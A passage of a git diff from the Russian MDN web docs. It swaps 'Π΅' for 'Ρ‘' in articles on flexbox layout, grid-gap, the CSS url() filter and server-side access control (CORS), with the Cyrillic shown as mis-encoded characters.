-<p>Π—Π΄Π΅ΡΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ случай, ΠΊΠΎΠ³Π΄Π° располоТСниС, подходящСС для ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ для экрана смартфона. НС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒΡΡ Π² Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅, Π½ΠΎ ΠΈ порядок, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ. Flexbox сильно ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ это.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ случай, ΠΊΠΎΠ³Π΄Π° располоТСниС, подходящСС для ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ для экрана смартфона. НС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒΡΡ Π² Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅, Π½ΠΎ ΠΈ порядок, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ. Flexbox сильно ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ это.</p>
<pre class="brush: html">​&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
@@ -272,11 +272,11 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
<h2 id="О_Ρ‡Π΅ΠΌ_Π½ΡƒΠΆΠ½ΠΎ_ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ">О Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ</h2>
-<p>Алгоритм, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠ°ΠΊ flex-элСмСнты Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ, ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹ΠΌ. Π’ΠΎΡ‚ нСсколько ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ позволят ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ нСприятных ΡΡŽΡ€ΠΏΡ€ΠΈΠ·ΠΎΠ² ΠΏΡ€ΠΈ вСрсткС с использованиСм flexbox.</p>
+<p>Алгоритм, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠ°ΠΊ flex-элСмСнты Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ, ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹ΠΌ. Π’ΠΎΡ‚ нСсколько ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ позволят ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ нСприятных ΡΡŽΡ€ΠΏΡ€ΠΈΠ·ΠΎΠ² ΠΏΡ€ΠΈ вёрсткС с использованиСм flexbox.</p>
<p>Flexbox Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² соотвСтствиС с <a href="https://developer.mozilla.org/ru/docs/Web/CSS/writing-mode">Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ письма</a>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ <strong>Π³Π»Π°Π²Π½ΠΎΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ</strong> ΠΈ <strong>Π³Π»Π°Π²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Π΅Ρ† </strong>Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² зависимости ΠΎΡ‚ полоТСния <strong>Π½Π°Ρ‡Π°Π»Π° </strong>ΠΈ <strong>ΠΊΠΎΠ½Ρ†Π° </strong>(строки - <em>ΠΏΡ€ΠΈΠΌ.</em>).</p>
-<p><strong>ΠŸΠ΅Ρ€Π΅ΠΊΡ€Π΅ΡΡ‚Π½ΠΎΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ</strong> ΠΈ <strong>пСрСкрСстный ΠΊΠΎΠ½Π΅Ρ† </strong>ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ <strong>Π½Π°Ρ‡Π°Π»Π° </strong>ΠΈ <strong>ΠΊΠΎΠ½Ρ†Π°, </strong>ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ зависит ΠΎΡ‚ значСния свойства <code>{{cssxref("direction")}}</code>.</p>
+<p><strong>ΠŸΠ΅Ρ€Π΅ΠΊΡ€Ρ‘ΡΡ‚Π½ΠΎΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ</strong> ΠΈ <strong>пСрСкрёстный ΠΊΠΎΠ½Π΅Ρ† </strong>ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ <strong>Π½Π°Ρ‡Π°Π»Π° </strong>ΠΈ <strong>ΠΊΠΎΠ½Ρ†Π°, </strong>ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ зависит ΠΎΡ‚ значСния свойства <code>{{cssxref("direction")}}</code>.</p>
<p>Π Π°Π·Ρ€Ρ‹Π²Ρ‹ страницы допустимы Π² располоТСнии flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ², ΠΊΠΎΠ³Π΄Π° это позволяСт свойство <code>break-. Бвойства </code>CSS3 <code>break-after</code>, <code>break-before</code> ΠΈ <code>break-inside</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ свойства CSS 2.1 <code>page-break-before</code>, <code>page-break-after</code> ΠΈ <code>page-break-inside</code> Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π½Π° flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅, flex-элСмСнтах, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ flex-элСмСнтов.</p>
@@ -361,13 +361,13 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
</table>
</div>
-<p>[1] Safari Π΄ΠΎ вСрсии 6.0 (iOS.1) ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΡΡ‚Π°Ρ€ΡƒΡŽ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации. Safari 6.1 (ΠΈ Safari Π½Π° iOS 7) Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии.</p>
+<p>[1] Safari Π΄ΠΎ вСрсии 6.0 (iOS.1) ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΡΡ‚Π°Ρ€ΡƒΡŽ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации. Safari 6.1 (ΠΈ Safari Π½Π° iOS 7) Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии.</p>
-<p>[2] Π”ΠΎ Firefox 22, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ flexbox, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>about:config</code> <code>layout.css.flexbox.enabled</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>. Начиная с Firefox 22 ΠΏΠΎ Firefox 27, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ установлСн Π² <code>true</code> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Firefox 28.</p>
+<p>[2] Π”ΠΎ Firefox 22, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ flexbox, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>about:config</code> <code>layout.css.flexbox.enabled</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>. Начиная с Firefox 22 ΠΏΠΎ Firefox 27, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ установлСн Π² <code>true</code> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΡΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Firefox 28.</p>
-<p>[3] Internet Explorer 10 ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΡ‚Π°Ρ€ΡƒΡŽ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации; Internet Explorer 11 <a href="https://msdn.microsoft.com/ru-ru/library/dn265027(v=vs.85).aspx">Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½</a> для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии.</p>
+<p>[3] Internet Explorer 10 ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΡ‚Π°Ρ€ΡƒΡŽ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации; Internet Explorer 11 <a href="https://msdn.microsoft.com/ru-ru/library/dn265027(v=vs.85).aspx">Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½</a> для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии.</p>
-<p>[4] Android browser Π΄ΠΎ вСрсии 4.3 ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΡΡ‚Π°Ρ€ΡƒΡŽ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации. Android 4.4 Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии.</p>
+<p>[4] Android browser Π΄ΠΎ вСрсии 4.3 ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΡΡ‚Π°Ρ€ΡƒΡŽ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации. Android 4.4 Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии.</p>
<p>[5] Π₯отя ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ рСализация Π² Opera 12.10 <code>flexbox</code> Π±Ρ‹Π»Π° Π±Π΅Π· приставки, ΠΎΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»Π° приставку {{property_prefix("-webkit")}} Π² вСрсиях с 15 ΠΏΠΎ 16 Opera ΠΈ с 15 ΠΏΠΎ 19 Opera Mobile. ΠŸΡ€ΠΈΡΡ‚Π°Π²ΠΊΠ° Π±Ρ‹Π»Π° снова ΡƒΠ±Ρ€Π°Π½Π° Π² Opera 17 ΠΈ Opera Mobile 24.</p>
diff --git a/files/ru/conflicting/web/css/gap/index.html b/files/ru/conflicting/web/css/gap/index.html
index 8f09dcd99b..714cd0beb5 100644
--- a/files/ru/conflicting/web/css/gap/index.html
+++ b/files/ru/conflicting/web/css/gap/index.html
@@ -11,7 +11,7 @@ original_slug: Web/CSS/grid-gap
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Бвойство CSS с Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ сСткой Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΎ Π² свойство prefix-less {{cssxref('gap')}}.</p>
</div>
-<p>Бвойство CSS <strong><code>grid-gap</code></strong> являСтся сокращСнным свойством для {{cssxref("grid-row-gap")}} ΠΈ {{cssxref("grid-column-gap")}}, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π³ΠΎ ΠΆΠ΅Π»ΠΎΠ±Π° ΠΌΠ΅ΠΆΠ΄Ρƒ строками ΠΈ столбцами сСтки.</p>
+<p>Бвойство CSS <strong><code>grid-gap</code></strong> являСтся сокращённым свойством для {{cssxref("grid-row-gap")}} ΠΈ {{cssxref("grid-column-gap")}}, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π³ΠΎ ΠΆΠ΅Π»ΠΎΠ±Π° ΠΌΠ΅ΠΆΠ΄Ρƒ строками ΠΈ столбцами сСтки.</p>
<div>{{EmbedInteractiveExample("pages/css/grid-gap.html")}}</div>
diff --git a/files/ru/conflicting/web/css/url()/index.html b/files/ru/conflicting/web/css/url()/index.html
index 0f7f929f08..97687fc05b 100644
--- a/files/ru/conflicting/web/css/url()/index.html
+++ b/files/ru/conflicting/web/css/url()/index.html
@@ -22,7 +22,7 @@ original_slug: Web/CSS/filter-function/url
<dl>
<dt><code>располоТСниС</code></dt>
- <dd>Π’ {{cssxref("&lt;URL-адрСс&gt;")}} ΠΈΠ· {{glossary("XML")}} указываСтся Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ SVG, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Β Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя привязки ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΡŽΡ‰Π΅ΠΌΡƒΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρƒ.</dd>
+ <dd>Π’ {{cssxref("&lt;URL-адрСс&gt;")}} ΠΈΠ· {{glossary("XML")}} указываСтся Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ SVG, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Β Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя привязки ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΡŽΡ‰Π΅ΠΌΡƒΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρƒ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/conflicting/web/http/cors/index.html b/files/ru/conflicting/web/http/cors/index.html
index 0d44c873b3..23d269ec05 100644
--- a/files/ru/conflicting/web/http/cors/index.html
+++ b/files/ru/conflicting/web/http/cors/index.html
@@ -5,13 +5,13 @@ translation_of: Web/HTTP/CORS
translation_of_original: Web/HTTP/Server-Side_Access_Control
original_slug: Web/HTTP/Server-Side_Access_Control
---
-<p>БистСмы контроля доступа производят ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽΒ <a href="http://searchsoftwarequality.techtarget.com/definition/authorization">Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ</a>,Β <a href="http://searchsecurity.techtarget.com/definition/authentication">Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</a>, ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ доступа и ΠΏΠΎΠ΄ΠΎΡ‚Ρ‡Π΅Ρ‚Π½ΠΎΡΡ‚ΡŒΒ ΡΡƒΡ‰Π½ΠΎΡΡ‚Π΅ΠΉΒ Ρ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ…Β Π΄Π°Π½Π½Ρ‹Ρ… для Π²Ρ…ΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="http://searchsecurity.techtarget.com/definition/password">ΠΏΠ°Ρ€ΠΎΠ»ΡŒ</a>, Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ (PINs),Β <a href="http://searchsecurity.techtarget.com/definition/biometrics">биомСтричСскоС</a> сканированиС и физичСский ΠΈΠ»ΠΈ ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Ρ‹ΠΉΒ ΠΊΠ»ΡŽΡ‡.</p>
+<p>БистСмы контроля доступа производят ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽΒ <a href="http://searchsoftwarequality.techtarget.com/definition/authorization">Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ</a>,Β <a href="http://searchsecurity.techtarget.com/definition/authentication">Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</a>, ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ доступа и ΠΏΠΎΠ΄ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π½ΠΎΡΡ‚ΡŒΒ ΡΡƒΡ‰Π½ΠΎΡΡ‚Π΅ΠΉΒ Ρ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ…Β Π΄Π°Π½Π½Ρ‹Ρ… для Π²Ρ…ΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="http://searchsecurity.techtarget.com/definition/password">ΠΏΠ°Ρ€ΠΎΠ»ΡŒ</a>, Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ (PINs),Β <a href="http://searchsecurity.techtarget.com/definition/biometrics">биомСтричСскоС</a> сканированиС и физичСский ΠΈΠ»ΠΈ ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Ρ‹ΠΉΒ ΠΊΠ»ΡŽΡ‡.</p>
<p>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ доступа --- это тСхника бСзопасности, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ рСгулирования процСссом Ρ‚ΠΎΠ³ΠΎ, ΠΊΡ‚ΠΎ ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎΒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ рСсурсы Π² Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ.</p>
<p>{{HTTPSidebar}}</p>
-<p>Для ΠΌΠ΅ΠΆ-сайтовых запросов, произвСдСнных с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅Β <a href="/en-US/docs/Web/HTTP/Headers">HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</a>. Π’Π°ΠΊ ΠΆΠ΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅Β HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅Β ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ΅ΠΆ-сайтового ΠΎΡ‚Π²Π΅Ρ‚Π°. ΠžΠ±Π·ΠΎΡ€ этих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹Β JavaScript ΠΊΠΎΠ΄Π°,Β ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ запросы ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ ΠΎΡ‚ сСрвСра, ΠΊΠ°ΠΊ ΠΈ описаниС каТдого ΠΈΠ·Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Β Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β HTTPΒ Access Control (CORS)</a>Β ΠΈ Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π±Ρ‹Ρ‚ΡŒ прочитан вмСстС с Π΄Π°Π½Π½ΠΎΠΉ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒΒ <strong>Запросов контроля доступа</strong>Β ΠΈ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΡƒ <strong>ΠžΡ‚Π²Π΅Ρ‚ΠΎΠ² контроля доступа </strong>Π² PHP. ЦСлСвая аудитория для этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ---Β  Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ сСрвСров ΠΈ администраторы. Π₯отя ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Ρ‚ΡƒΡ‚, Π½Π° PHP, подобная концСпция примСняСтся в ASP.net, Perl, Python, Java, etc.; Π² ΠΎΠ±Ρ‰Π΅ΠΌ, эти ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Π² любом сСрвСром ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP запросы ΠΈ динамичСски Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚Β HTTP 